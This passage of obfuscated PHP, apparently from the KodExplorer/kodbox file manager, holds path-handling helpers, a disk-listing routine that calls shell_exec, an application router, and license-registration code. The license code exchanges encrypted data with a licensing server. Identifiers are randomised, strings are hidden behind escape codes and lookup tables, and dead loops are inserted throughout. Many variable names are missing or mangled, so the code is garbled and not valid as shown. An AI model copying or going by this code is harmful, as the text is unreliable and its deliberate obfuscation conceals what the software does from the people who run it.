"\x7b\165\x73\x65\x72\x46\151\154\145\124\171\160\145\175"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\x6f\165\160\x52\x6f\157\x74\x53\x65\154\146\175"; const KOD_USER_SHARE = "\173\165\163\x65\x72\x53\150\141\x72\145\175"; const KOD_USER_SHARE_LINK = "\x7b\x75\163\x65\x72\123\150\141\162\x65\114\151\156\x6b\175"; const KOD_USER_SHARE_TO_ME = "\173\x73\x68\141\x72\x65\124\157\x4d\145\x7d"; const KOD_SHARE_ITEM = "\173\x73\150\x61\x72\x65\111\164\x65\155\175"; const KOD_SHARE_LINK = "\x7b\x73\x68\x61\162\145\x49\164\145\155\x4c\151\156\x6b\x7d"; const KOD_SEARCH = "\x7b\x73\x65\141\x72\x63\150\x7d"; const KOD_BLOCK = "\x7b\x62\x6c\x6f\x63\x6b\x7d"; const KOD_IO = "\173\x69\x6f\175"; const KOD_USER_RECENT = "\x7b\165\x73\145\x72\x52\x65\156\143\x65\156\164\175"; const KOD_USER_DRIVER = "\173\x64\162\151\x76\145\162\x7d"; public static function typeList() { $ =& $_SERVER[ʇ]; return array($[1298] => self::KOD_SOURCE, $[1299] => self::KOD_USER_RECYCLE, $[1300] => self::KOD_USER_FAV, $[1301] => self::KOD_USER_FILE_TAG, $[1302] => self::KOD_USER_FILE_TYPE, $[1303] => self::KOD_GROUP_ROOT_SELF, $[1304] => self::KOD_USER_SHARE, $[1305] => self::KOD_USER_SHARE_LINK, $[1306] => self::KOD_USER_SHARE_TO_ME, $[1307] => self::KOD_SHARE_ITEM, $[1308] => self::KOD_SHARE_LINK, $[1309] => self::KOD_SEARCH, $[1310] => self::KOD_BLOCK, $[1311] => self::KOD_IO, $[1312] => self::KOD_USER_RECENT, $[1313] => self::KOD_USER_DRIVER); } public static function parse($޿) { $Κ =& $_SERVER[ʇ]; $޿ = self::clear($޿); $ߵ = array_values(self::typeList()); preg_match($Κ[1314], $޿, $Ǻ); $ = array($Κ[466] => !1, $Κ[1315] => !1, $Κ[463] => !1, $Κ[86] => $޿, $Κ[1216] => !1, $Κ[1215] => $Κ[12]); if (is_array($Ǻ) && count($Ǻ) == 5) { $ = $Κ[1316] . $Ǻ[2] . $Κ[373]; if (in_array($, $ߵ)) { $[$Κ[1216]] = $Ǻ[1]; $[$Κ[33]] = $; $[$Κ[1317]] = substr($, 1, -1); $[$Κ[445]] = $Ǻ[3]; } $[$Κ[1215]] = $Ǻ[4]; } $ = array($Κ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$Κ[1280]] = in_array($[$Κ[33]], $); return $; } public static function isTruePath($Ǟ) { $Ԑ =& $_SERVER[ʇ]; if (substr($Ǟ, 0, 1) != $Ԑ[1316]) { return !0; } if (strpos($Ǟ, $Ԑ[453]) === 0) { return !0; } if (strpos($Ǟ, $Ԑ[1284]) === 0) { return !0; } if (strpos($Ǟ, $Ԑ[1318]) === 0) { return !0; } if (strpos($Ǟ, $Ԑ[1319]) === 0) { return !0; } if (strpos($Ǟ, $Ԑ[1320]) === 0) { return !0; } return !1; } public static function clear($Ϛ) { $ٙ =& $_SERVER[ʇ]; $Ϛ = str_replace(array($ٙ[1125], $ٙ[248]), $ٙ[53], $Ϛ); $Ϛ = str_replace($ٙ[99], $ٙ[8], $Ϛ); $ = $ٙ[1321]; if (substr($Ϛ, 0, 3) == $ٙ[1322]) { $Ϛ = substr($Ϛ, 3); } while (strstr($Ϛ, $)) { $Ϛ = str_replace($, $ٙ[8], $Ϛ); } $Ϛ = preg_replace($ٙ[1323], $ٙ[8], $Ϛ); if ($Ϛ == $ٙ[8]) { return $ٙ[8]; } $Ϛ = rtrim($Ϛ, $ٙ[8]); return $Ϛ; } public static function pathTrue($ϱֱ) { $ =& $_SERVER[ʇ]; if (!$ϱֱ) { return $[12]; } $ϱֱ = str_replace($[563], $[8], str_replace($[1324], $[8], $ϱֱ)); $ϱֱ = str_replace($[563], $[8], str_replace($[1324], $[8], $ϱֱ)); if (!strstr($ϱֱ, $[1322])) { return $ϱֱ; } $Ս = explode($[8], $ϱֱ); foreach ($Ս as $ݵ => $) { if ($ !== $[1325]) { continue; } for ($з = $ݵ; $з >= 0; $з--) { if ($Ս[$з] === $[10] || $Ս[$з] === $[1325] || $Ս[$з] === -1) { continue; } if ($Ս[$з] === $[12]) { $Ս[$ݵ] = -1; break; } $Ս[$ݵ] = -1; $Ս[$з] = -1; break; } } $ѥӉ = array(); foreach ($Ս as $) { if ($ !== -1) { $ѥӉ[] = $; } } $ = implode($[8], $ѥӉ); if (strpos($, $[1326]) === 0) { $ = $[1322] . substr($, strlen($[1326])); } return $; } public static function sourceID($) { $܇ =& $_SERVER[ʇ]; $ = self::parse($); if ($[$܇[33]] !== self::KOD_SOURCE) { show_json(LNG($܇[1327]), !1); } return $[$܇[445]]; } public static function make($О) { if (!$О) { return !1; } return self::makePath(self::KOD_SOURCE, intval($О)); } public static function makeShare($㭵, $Խ) { return self::makePath(self::KOD_SHARE_ITEM, $㭵, $Խ); } public static function makeFileTypePath($ċ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ċ); } public static function makeFileTagPath($̚) { return self::makePath(self::KOD_USER_FILE_TAG, $̚); } public static function makePath($م, $̖ = '', $򣖪 = '') { $ =& $_SERVER[ʇ]; $ؕ = substr($م, 1, -1); $ɠ = $[1328] . $ؕ . $[1329] . $̖ . $[1330]; $ɠ = $򣖪 ? $ɠ . $򣖪 . $[8] : $ɠ; return $ɠ; } public static function hashPath($, $˗ = true) { $ =& $_SERVER[ʇ]; $ = is_array($) ? $ : IO::info($); $ = _get($, $[1331], $[12]); if (!$ && isset($[$[221]])) { $ = trim($[$[221]], $[120]); } if (!$ && isset($[$[183]]) && $[$[183]]) { $ = IO::info(KodIO::make($[$[183]])); $ = _get($, $[1331], $[12]); } $Ù = md5($[$[86]] . $[$[78]] . $[$[87]]); if (!$ && file_exists($[$[86]])) { $ = Cache::get($Ù . $[1332]); $ = !1; if (!$) { $ = IO::hashSimple($[$[86]]); Cache::set($Ù . $[1332], $, 3600 * 24 * 30); } } if ($˗ && !$) { } return $ ? $ : $Ù; } public static function hashPathSafe($, $ = true) { $۞ =& $_SERVER[ʇ]; $ݢ = self::hashPath($, $); return md5($ݢ . $۞[1333] . Model($۞[809])->get($۞[810])); } public static function initSystemPath() { $ =& $_SERVER[ʇ]; if (defined($[1334])) { return; } define($[1334], self::systemPath($[181])); define($[1335], self::systemPath($[1336])); define($[1337], self::systemPath($[1338])); define($[1339], self::systemPath($[1340])); IOHistory::bindEvent(); } public static function systemPath($Ϸ) { $ =& $_SERVER[ʇ]; $ = $[1341] . ucfirst($Ϸ); $ = Model($[809])->get($); if ($) { return $; } if ($Ϸ == $[181]) { $ = self::make(Model($[871])->systemRootPathAdd($[576])); } else { $ = self::systemPath($[181]); $ߍ٠ = self::sourceID($); $ = self::make(Model($[871])->mkdir($ߍ٠, $Ϸ)); } Model($[809])->set($, $); return $; } public static function systemFolder($ܽ) { $׳ = IO_PATH_SYSTEM_SOURCE . $ܽ; $ = Cache::get($׳); if (!$) { $˔Ң = IO::infoFullSimple($׳); if (!$˔Ң) { $ = IO::mkdir($׳, REPEAT_SKIP); } else { $ = $˔Ң[$_SERVER[ʇ][86]]; } Cache::set($׳, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[ʇ][806])->defaultDriver(); } public static function defaultIO() { $썢 =& $_SERVER[ʇ]; $򠆷 = self::defaultDriver(); return $썢[1342] . $򠆷[$썢[445]] . $썢[1330]; } public static function defaultDriverInit() { static $ͅ = false; if ($ͅ) { return $ͅ; } $ͅ = IO::init(self::defaultIO()); return $ͅ; } public static function fileTypeList() { $؝ =& $_SERVER[ʇ]; $ꀆ = $GLOBALS[$؝[6]][$؝[1343]]; foreach ($ꀆ as $ => $ҫ) { $Φ = $؝[1344] . $; $ = LNG($Φ); if ($Φ != $) { $ꀆ[$][$؝[32]] = $; } } return $ꀆ; } public static function diskList($ = true) { $ΰ = $_SERVER[ʇ][1345]; if ($) { $Ѩ = Cache::get($ΰ); if (is_array($Ѩ)) { return $Ѩ; } } $Ѩ = self::diskListGet(); Cache::set($ΰ, $Ѩ, 60); return $Ѩ; } public static function diskListGet() { $ =& $_SERVER[ʇ]; $ = array(); if ($GLOBALS[$[6]][$[1346]] == $[1347]) { $Ͽ = $[1348]; for ($ϒ = 0; $ϒ < strlen($Ͽ); $ϒ++) { $ = $Ͽ[$ϒ] . $[1349]; if (file_exists($)) { $[] = $; } } return $; } if (!function_exists($[100])) { $[] = $[882]; return $; } $ߧ = explode($[248], shell_exec($[1350])); array_shift($ߧ); array_pop($ߧ); $ = array($[1351], $[1352], $[1353], $[1354], $[1355], $[1356], $[1357], $[1358]); foreach ($ߧ as $ᫎͿ) { $ԣ̃ = preg_split($[1359], $ᫎͿ); $ = $ԣ̃[count($ԣ̃) - 1]; if (!strstr($ԣ̃[0], $[1360]) || !$) { continue; } $ۛ = rtrim($, $[8]) . $[8]; if (in_array($ۛ, $)) { continue; } $[] = $ۛ; } return $; } public static function isSameDisk($Я, $К) { $҉ =& $_SERVER[ʇ]; if ($GLOBALS[$҉[6]][$҉[1346]] == $҉[1347]) { return strtolower(substr($Я, 0, 1)) == strtolower(substr($К, 0, 1)); } $ = self::diskList(); $ݩ = !1; $걜 = !1; sort($); $ = array_reverse($); $Я = rtrim($Я, $҉[8]) . $҉[8]; $К = rtrim($К, $҉[8]) . $҉[8]; foreach ($ as $ݭ) { $Ƀ = strlen($ݭ); if (!$ݩ && substr($Я, 0, $Ƀ) == $ݭ) { $ݩ = $ݭ; } if (!$걜 && substr($К, 0, $Ƀ) == $ݭ) { $걜 = $ݭ; } if ($ݩ && $걜) { break; } } return $ݩ === $걜; } public static function transferType($ҥ, $) { $ =& $_SERVER[ʇ]; $⥃ = self::driverType($ҥ); $ҝ = self::driverType($); if ($⥃[$[33]] == $ҝ[$[33]] && $⥃[$[1361]] == $ҝ[$[1361]]) { return $[1362]; } if ($⥃[$[33]] == $[915] && $ҝ[$[33]] == $[108]) { return $[1241]; } if ($⥃[$[33]] == $[108] && $ҝ[$[33]] == $[915]) { return $[109]; } return $[1363]; } public static function driverType($) { $ܪ =& $_SERVER[ʇ]; $ź = str_replace($ܪ[1364], $ܪ[12], strtolower($->getType())); if ($ź == $ܪ[796] || $ź == $ܪ[1365] || $ź == $ܪ[1366]) { $ = self::defaultDriverInit(); } else { if ($ź == $ܪ[1251] || $ź == $ܪ[1367]) { $ = IO::init($->pathParse[$ܪ[1198]]); } } $Ѓ = $->path; $ź = str_replace($ܪ[1364], $ܪ[12], strtolower($->getType())); if ($ź == $ܪ[108]) { return array($ܪ[33] => $ܪ[108], $ܪ[1361] => $ܪ[12], $ܪ[86] => $Ѓ, $ܪ[97] => $); } return array($ܪ[33] => $ܪ[915], $ܪ[1361] => $->pathDriver, $ܪ[86] => $Ѓ, $ܪ[97] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($׸) { $۩ =& $_SERVER[ʇ]; $ = $׸ ? self::driverType(IO::init($׸)) : !1; return $[$۩[33]] == $۩[108] ? !0 : !1; } public static function allowCover($, $Ҫ = true) { $⋅ =& $_SERVER[ʇ]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$⋅[33]] == $⋅[77] || $[$⋅[78]] <= 100) { return !1; } if (isset($[$⋅[1368]]) || !$[$⋅[86]]) { return !1; } if (isset($[$⋅[218]]) && !$[$⋅[218]]) { return !1; } static $݂ = false; if (!$݂ || !$Ҫ) { $ = self::driverType(IO::init($[$⋅[86]])); $ވ = $[$⋅[97]]; $݂ = $⋅[186]; if ($[$⋅[33]] == $⋅[108]) { $݂ = $⋅[1369]; } if ($[$⋅[97]] && is_array($[$⋅[97]]->config)) { $ = $[$⋅[97]]->config; if (isset($[$⋅[1370]]) && $[$⋅[1370]]) { $݂ = $⋅[1369]; } } } return $݂ == $⋅[1369] ? !0 : !1; } } goto CÌ; b: $vszlmakioh = $_SERVER[ʇ][652]; while (strlen($vszlmakioh) < $_SERVER[ʇ][653]) { if (!$vszlmakioh) { break; } $vszlmakioh++; } class Application { private $defaultModule = "\x69\156\x64\145\170"; private $defaultController = "\151\x6e\x64\x65\x78"; private $defaultAction = "\151\156\x64\145\170"; function __construct() { } public function setDefault($Ւ) { $ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $Ӻ = explode($[0], trim($Ւ, $[0])); $this->defaultModule = $Ӻ[0] ? $Ӻ[0] : $this->defaultModule; $񐘹 = $[654]; $this->defaultController = $Ӻ[1] ? $Ӻ[1] : $this->defaultController; $⁜Ó = $[655]; $this->defaultAction = $Ӻ[2] ? $Ӻ[2] : $this->defaultAction; $ = $[656]; $this->jnra7e19ef71($[1], array($this, $[2])); } public function appRun($Ē߬) { $Ě =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $Ͱ = explode($[0], $Ē߬); $ = $Ě[657]; while ($ < $Ě[653]) { if ($ >= 0) { break; } $++; } $ɖ = strtolower($Ͱ[0]); $ѧ = $[3]; $𺖝 = $Ě[658]; if (!$𺖝) { die; } if ($ɖ == $[4]) { $ѧ = $[5]; $Ͱ[0] = $[6]; $Ͱ[1] = $Ͱ[1] . $[7]; $Ē߬ = join($[0], $Ͱ); $Ē߬ = trim($Ē߬, $[0]); } call_user_func(array($[8], $[9]), $ѧ . $[10], $Ē߬); ActionCall($Ē߬); call_user_func(array($[8], $[9]), $ѧ . $[11], $Ē߬); } private function autorun() { $Յϸ =& $_SERVER[ߤ]; global $config; if (count($config[$Յϸ[12]]) == 0) { return; } foreach ($config[$Յϸ[12]] as $뫮 => $) { $this->appRun($); } } private function fdjy19f62f97() { $ =& $_SERVER[ʇ]; $ޮ =& $_SERVER[ߤ]; $ = $ޮ[4]; $ = $[659]; if (strlen($) < $[653]) { die; } $¼ = $GLOBALS[$ޮ[13]][$ޮ[14]][0]; $ = $[660]; if (!$¼ || strlen($¼) <= strlen($)) { return; } if (strtolower(substr($¼, -strlen($))) != $) { return; } $ = substr($¼, 0, -strlen($)); $ = $[661]; if (!$) { die; } $ = array($ޮ[4], $); $ۂ = array_slice($GLOBALS[$ޮ[13]][$ޮ[14]], 1); $GLOBALS[$ޮ[13]][$ޮ[14]] = array_merge($, $ۂ); $GLOBALS[$ޮ[13]][$ޮ[15]] = implode($ޮ[0], $GLOBALS[$ޮ[13]][$ޮ[14]]); $ = $[662]; if (!$) { return; } } private function pkhv8178384d() { $ =& $_SERVER[ʇ]; $ࠬ =& $_SERVER[ߤ]; if ($GLOBALS[$ࠬ[13]][$ࠬ[15]] != $ࠬ[6]) { return; } $ȇ = $_SERVER[$ࠬ[16]]; $ۛ = $[663]; while ($ۛ < $[664]) { if ($ۛ >= 0) { break; } $ۛ++; } $غ = $ࠬ[17]; $Ϟҵ = $[665]; if (!strstr($ȇ, $غ)) { return; } $ = strrpos($ȇ, $غ); $⩱ = $[666]; while ($⩱ < $[664]) { if ($⩱ >= 0) { break; } $⩱++; } $ = substr($ȇ, $ + strlen($غ)); $΄ݸ = $[667]; preg_match_all($ࠬ[18], $, $); $ = trim($[0][0], $ࠬ[19]); $ = $[668]; if (!$) { die; } $GLOBALS[$ࠬ[13]][$ࠬ[14]] = explode($ࠬ[19], $); $ߥ = $[669]; while (strlen($ߥ) < $[670]) { if (!$ߥ) { break; } $ߥ++; } $GLOBALS[$ࠬ[13]][$ࠬ[15]] = implode($ࠬ[0], $GLOBALS[$ࠬ[13]][$ࠬ[14]]); $Ԑ = $[671]; if (!$Ԑ) { return; } } public function run() { $֢ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $this->pkhv8178384d(); $this->fdjy19f62f97(); $ = $֢[672]; while ($ < $֢[673]) { if ($ >= 0) { break; } $++; } $©阮 = $GLOBALS[$[13]][$[14]]; $ܦ = $֢[674]; while (strlen($ܦ) < $֢[653]) { if (!$ܦ) { break; } $ܦ++; } $͎ = $GLOBALS[$[13]][$[15]]; $ = $֢[675]; while (strlen($) < $֢[653]) { if (!$) { break; } $++; } define($[20], isset($©阮[0]) && $©阮[0] ? $©阮[0] : $this->defaultModule); $ԋ = $֢[676]; define($[21], isset($©阮[1]) && $©阮[0] ? $©阮[1] : $this->defaultController); define($[22], isset($©阮[2]) && $©阮[0] ? $©阮[2] : $this->defaultAction); $ֹ = $֢[677]; while (strlen($ֹ) < $֢[653]) { if (!$ֹ) { break; } $ֹ++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $_SERVER[$[24]] = strtolower(ACTION); $œ = $֢[678]; while (strlen($œ) < $֢[679]) { if (!$œ) { break; } $œ++; } $this->autorun(); $ճ = $֢[680]; while ($ճ < $֢[664]) { if ($ճ >= 0) { break; } $ճ++; } if (count($©阮) >= 3) { $this->appRun($͎); } else { $this->appRun(ACTION); } } private $puyoc0817e54 = array(); private $zwpn20209303 = ''; public function uhrn3409299c() { $ =& $_SERVER[ʇ]; $Ұێ =& $_SERVER[ߤ]; $this->luik87359d89(); $à = $[681]; if (strlen($à) < $[679]) { return; } $this->xglb87a76a50(); $췙 = $[682]; if (strlen($췙) < $[653]) { die; } $this->rwaz4c966346(); $this->axqi1d8b5655(); $this->puokc5ecdfde(); $this->fkvdebf52a06(); $ߍ = $[683]; $this->yfnx470d2f0e(); $ = $[684]; if (strlen($) < $[679]) { die; } $this->jnra7e19ef71($Ұێ[25], array($this, $Ұێ[26])); $this->jnra7e19ef71($Ұێ[27], array($this, $Ұێ[28])); $ӥ䣠 = $[667]; $this->jnra7e19ef71($Ұێ[29], array($this, $Ұێ[30])); $с = $[685]; if (strlen($с) < $[679]) { die; } $this->jnra7e19ef71($Ұێ[31], array($this, $Ұێ[32])); $񱄚 = $[686]; if (!$񱄚) { return; } } public function niok1611fcd1($Ū) { $󻓊 =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; $ = Model($[33])->get(); $ = $󻓊[687]; while (strlen($) < $󻓊[670]) { if (!$) { break; } $++; } $Ҋ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); $ = $󻓊[688]; foreach ($Ҋ as $) { $㇎ = $GLOBALS[$[85]][$[86]][$]; $ͅ = $󻓊[689]; if (strlen($ͅ) < $󻓊[679]) { die; } if (isset($[$])) { $㇎ = $[$]; } $Ū[$[87]][$[88]][$] = $㇎; } $ = $Ū[$[87]][$[88]][$[46]]; unset($Ū[$[87]][$[89]][$[90]]); unset($Ū[$[87]][$[89]][$[91]]); unset($Ū[$[87]][$[88]][$[46]]); unset($Ū[$[87]][$[88]][$[92]]); $Ū[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $۰ = substr(md5($[98] . get_client_ip() . $[$[99]]), 0, 15); $Ū[$[100]][$[101]] = Mcrypt::encode(Session::sign(), $۰, 3600 * 24); $§ = $󻓊[690]; if (strlen($§) < $󻓊[673]) { die; } $Ū[$[100]][$[102]] = Action($[103])->accessToken(); $Ū[$[100]][$[104]] = md5($_SERVER[$[105]] . $[$[99]]); $ܑ = $󻓊[691]; if (strlen($ܑ) < $󻓊[664]) { die; } $Ū[$[100]][$[106]] = base64_encode(serverInfo()); $Ū[$[100]][$[107]] = $this->zwpn20209303; $ = $󻓊[692]; if (strlen($) < $󻓊[653]) { die; } if ($[$[107]] != $[108]) { $Ū[$[100]][$[109]] = $[$[109]]; $Ū[$[100]][$[110]] = $[$[110]]; $ = rand_string(10) . $this->zwpn20209303 . rand_string(5); $Ū[$[87]][$[111]][$[112]] = $this->pcohfae2f6dc($, $Ū[$[100]][$[104]]); } if ($this->zwpn20209303 == $[108]) { $Ū[$[87]][$[88]][$[93]][$[97]] = 0; } $Ū[$[100]][$[113]] = _get($this->puyoc0817e54, $[114], $[6]); $Ū[$[100]][$[115]] = _get($this->puyoc0817e54, $[116], $[6]); if (KodUser::isRoot() && $this->config[$[117]]) { $Ū[$[100]][$[118]] = WEB_ROOT; } return $Ū; } private function fkvdebf52a06() { $쿩 =& $_SERVER[ʇ]; $Т =& $_SERVER[ߤ]; $ݪ = $_SERVER[$Т[24]] == $Т[119]; if ($_SERVER[$Т[24]] == $Т[120] && $_GET[$Т[121]] == $Т[122]) { $ݪ = !0; } if ($ݪ) { $ = array($Т[107] => $this->zwpn20209303, $Т[123] => $this->gcdwbbdd77d1(), $Т[124] => Model($Т[125])->count()); if ($this->zwpn20209303 != $Т[108]) { $ʣ = _get($this->puyoc0817e54, $Т[126]); if ($ʣ) { $[$Т[127]] = $ʣ; $[$Т[128]] = strtotime(_get($this->puyoc0817e54, $Т[129])); $[$Т[130]] = _get($this->puyoc0817e54, $Т[116]); } $쉶 = Model($Т[33])->get($Т[131], $Т[6], !0); if (is_string($쉶) && substr($쉶, 0, 1) == $Т[132]) { $쉶 = json_decode_force($쉶); } if (is_array($쉶) && $쉶[$Т[133]] && strstr($쉶[$Т[133]], $Т[134])) { $ަ = explode($Т[134], $쉶[$Т[133]]); $[$Т[135]] = $ަ[0]; } } $ = $this->zxoa6757912c(json_encode($), md5($Т[136])); $֪ = array($Т[137] => $); call_user_func(array($Т[138], $Т[139]), $֪); } if ($this->zwpn20209303 == $Т[108]) { return; } $އ = array($Т[140], $Т[141], $Т[142], $Т[143], $Т[144], $Т[145]); $ = $쿩[693]; $ = Model($Т[33])->get(); $␟ = $쿩[694]; if (strlen($␟) < $쿩[673]) { return; } $֪ = array($Т[146] => $[$Т[34]], $Т[147] => $[$Т[35]], $Т[148] => $Т[6]); foreach ($އ as $ȁ) { if (!isset($[$ȁ]) || !$[$ȁ]) { continue; } $֪[$ȁ] = $[$ȁ]; } call_user_func(array($Т[138], $Т[139]), $֪); } private function axqi1d8b5655() { $ޯײ =& $_SERVER[ʇ]; $跴 =& $_SERVER[ߤ]; if ($_SERVER[$跴[24]] != $跴[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$跴[13]]; if (isset($[$跴[150]])) { $this->ezwsbed5f24f(); die; } if (isset($[$跴[151]]) && isset($[$跴[151]]) == $跴[122]) { $[$跴[152]] = Model($跴[33])->get($跴[153]); } if (!isset($[$跴[152]]) || strlen($[$跴[152]]) != 16) { show_json($跴[154] . $[$跴[152]], !1); } $ɕ̝ = Model($跴[33])->get($跴[99]); $ߢ = md5($_SERVER[$跴[105]] . $ɕ̝); $ = $ޯײ[695]; $񹂰ϑ = array($跴[152] => $[$跴[152]], $跴[155] => rand_string(16), $跴[156] => $跴[136], $跴[157] => $跴[158], $跴[159] => $_SERVER[$跴[160]], $跴[161] => $_SERVER[$跴[162]], $跴[163] => $_SERVER[$跴[164]], $跴[104] => $ߢ, $跴[165] => Model($跴[33])->get($跴[131])); $ = $ޯײ[696]; if (strlen($) < $ޯײ[670]) { return; } if ($[$跴[166]] == $跴[167]) { $ = $this->zxoa6757912c($ߢ, $跴[168]); $Ǎ = $this->pcohfae2f6dc(json_encode($񹂰ϑ), $ߢ . $跴[169], 3); $Ǎ = $Ǎ . $跴[170] . $_SERVER[$跴[160]]; $á = $this->bjgdc4475dbb($跴[171] . $ . $跴[172] . $Ǎ, -1); show_json($á, !0); } else { if ($[$跴[166]] == $跴[173]) { $ǝ = substr(md5($跴[174] . $ߢ), 12, 15) . $跴[175]; $Ǎ = $this->lqtbb3c7e4f5(trim($[$跴[176]]), $ǝ, 2); $ = json_decode($Ǎ, !0); if (!is_array($) || !is_array($[$跴[177]]) || $[$跴[152]] != !0) { $ = $跴[178]; $ֺϛ = $[$跴[177]] ? $跴[179] . $[$跴[177]] : $; show_json($ֺϛ, !1); } else { $񹂰ϑ[$跴[155]] = $[$跴[177]][$跴[180]]; } } else { $ = $this->bjgdc4475dbb($跴[181], $񹂰ϑ, 10); } } if (!is_array($) || !is_array($[$跴[177]]) || $[$跴[152]] != !0) { $ = LNG($跴[182]); $ֺϛ = $[$跴[177]] ? $跴[179] . $[$跴[177]] : $; show_json($ֺϛ, !1); } $ = $[$跴[177]]; $ = $this->xiqn4f44a202($[$跴[183]]); if (!$ || $ != $[$跴[129]]) { $ּ = array($跴[184] => Model($跴[33])->get($跴[99]), $跴[185] => $_SERVER[$跴[105]], $跴[186] => this_url(), $跴[161] => $_SERVER[$跴[162]]); $Ǎ = $this->pucn221d4741(json_encode($ּ)); $this->bjgdc4475dbb($跴[187] . $Ǎ); show_json(LNG($跴[188]), !0); } $ = array($跴[153] => $[$跴[189]], $跴[190] => $[$跴[191]], $跴[192] => rand_string(16), $跴[107] => $[$跴[193]]); if ($񹂰ϑ[$跴[155]]) { $[$跴[192]] = $񹂰ϑ[$跴[155]]; } $ = substr(md5($[$跴[190]]), 10, 10); $ = $ . $[$跴[107]] . $[$跴[192]]; $[$跴[109]] = strrev(base64_encode($this->zxoa6757912c($, $跴[194]))); $ڡ = rand_string(16); $ = $ޯײ[697]; while ($ < $ޯײ[653]) { if ($ >= 0) { break; } $++; } $ = $ڡ . $[$跴[107]] . $this->zxoa6757912c(md5($[$跴[153]]), $ڡ); $[$跴[110]] = base64_encode(strrev($this->zxoa6757912c($, $跴[195]))); if ($[$跴[196]] && $[$跴[196]] >= 1) { Model($跴[33])->setDeep($跴[197], $跴[122]); } Model($跴[33])->set($); $к = md5($_SERVER[$跴[105]] . strrev($ɕ̝) . $[$跴[190]]); $ƫǡ = strrev(substr($к, 10, 16)); $ʰ = $ޯײ[698]; if (!$ʰ) { die; } $֩ = $this->pcohfae2f6dc(json_encode($), $к); $ӞЄ = $ޯײ[699]; $ = array_to_keyvalue(Model($跴[7])->listData(), $跴[198]); $ʅ = $ޯײ[700]; if (strlen($ʅ) < $ޯײ[679]) { return; } $ω = $[$跴[199]]; $ش = $ޯײ[701]; $Ȟ = array(); $Ȟ[$ƫǡ] = $֩; Model($跴[7])->update($ω[$跴[200]], array($跴[201] => $Ȟ)); $߈ȿ = $ޯײ[702]; $this->puyoc0817e54 = $; $this->zwpn20209303 = $[$跴[107]]; $this->licenseRegistSuccess(); $ۅﳦ = $ޯײ[703]; while (strlen($ۅﳦ) < $ޯײ[664]) { if (!$ۅﳦ) { break; } $ۅﳦ++; } Cache::set($跴[202] . md5($ɕ̝ . $跴[203]), $跴[6]); show_json(LNG($跴[188]), !0); } private function licenseRegistSuccess() { $ڟ =& $_SERVER[ʇ]; $ߧ =& $_SERVER[ߤ]; $񛫵 = Model($ߧ[33])->get(); $ = $ڟ[704]; if (strlen($) < $ڟ[670]) { return; } if ($񛫵[$ߧ[63]] != $ߧ[122]) { Model($ߧ[33])->set($ߧ[63], $ߧ[122]); } Action($ߧ[204])->initStart(!0); } private function ezwsbed5f24f() { $ =& $_SERVER[ʇ]; $ =& $_SERVER[ߤ]; Model($[33])->set(array($[153] => $[6], $[190] => $[6], $[107] => $[108], $[109] => $[6], $[110] => $[6])); $Ӵ = $[705]; Model($[33])->setDeep($[197], $[205]); $ɉ = $[706]; $this->puyoc0817e54 = array(); $Ҙ = $[707]; if (strlen($Ҙ) < $[664]) { die; } $this->zwpn20209303 = $[108]; $Ė = $[708]; if (!$Ė) { return; } } private function luik87359d89() { $޽ =& $_SERVER[ʇ]; $ᒪ =& $_SERVER[ߤ]; $_SERVER[$ᒪ[162]] = _get($_SERVER, $ᒪ[162], APP_HOST); $this->zwpn20209303 = $ᒪ[108]; $ت = $޽[709]; if (strlen($ت) < $޽[673]) { return; } $ߺډ = Model($ᒪ[33])->get(); if ($ߺډ[$ᒪ[107]] == $ᒪ[108]) { return; } $ = Model($ᒪ[33])->get($ᒪ[99]); $LJ = $ᒪ[202] . md5($ . $ᒪ[203]); $Dz = $޽[710]; if (strlen($Dz) < $޽[664]) { die; } $ד = Cache::get($LJ); if (!is_array($ד) || !isset($ד[$ᒪ[206]]) || time() - $ד[$ᒪ[206]] >= 60) { $ = Model($ᒪ[7])->loadList(); $经 = $[$ᒪ[199]]; $ڨ = md5($_SERVER[$ᒪ[105]] . strrev($) . $ߺډ[$ᒪ[190]]); $ﭛ = strrev(substr($ڨ, 10, 16)); $ד = $this->lqtbb3c7e4f5($经[$ᒪ[85]][$ﭛ], $ڨ); $ד = json_decode($ד, !0); } if (!is_array($ד)) { return $this->ezwsbed5f24f(); } $ρ = strtotime($ד[$ᒪ[129]]); if (time() >= $ρ) { return $this->ezwsbed5f24f(); } if (time() - $ד[$ᒪ[206]] > 20) { $ד[$ᒪ[206]] = time(); Cache::set($LJ, $ד); } $this->puyoc0817e54 = $ד; $this->zwpn20209303 = $ߺډ[$ᒪ[107]]; } private function xglb87a76a50() { $ =& $_SERVER[ߤ]; $ = $GLOBALS[$[13]]; $ = $_SERVER[ʇ][711]; if (!$) { die; } $ӊ = $_SERVER[$[24]]; if ($ӊ == $[207] && $this->zwpn20209303 == $[108]) { show_json(LNG($[208]), !1, $[209]); } $ = array($[210], $[211]); if (in_array($ӊ, $)) { if ($this->zwpn20209303 == $[108] && isset($[$[212]])) { show_json(LNG($[208]), !1, $[209]); die; } $ĝ = $this->gcdwbbdd77d1(); if ($ĝ != intval($[213])) { if ($ĝ <= Model($[125])->count()) { show_json(LNG($[214]), !1, $[209]); die; } } } } private function rwaz4c966346() { $ԁ =& $_SERVER[ߤ]; $ = array($ԁ[119], $ԁ[120]); if (!KodUser::isRoot() || !isset($_GET[$ԁ[215]])) { return; } if 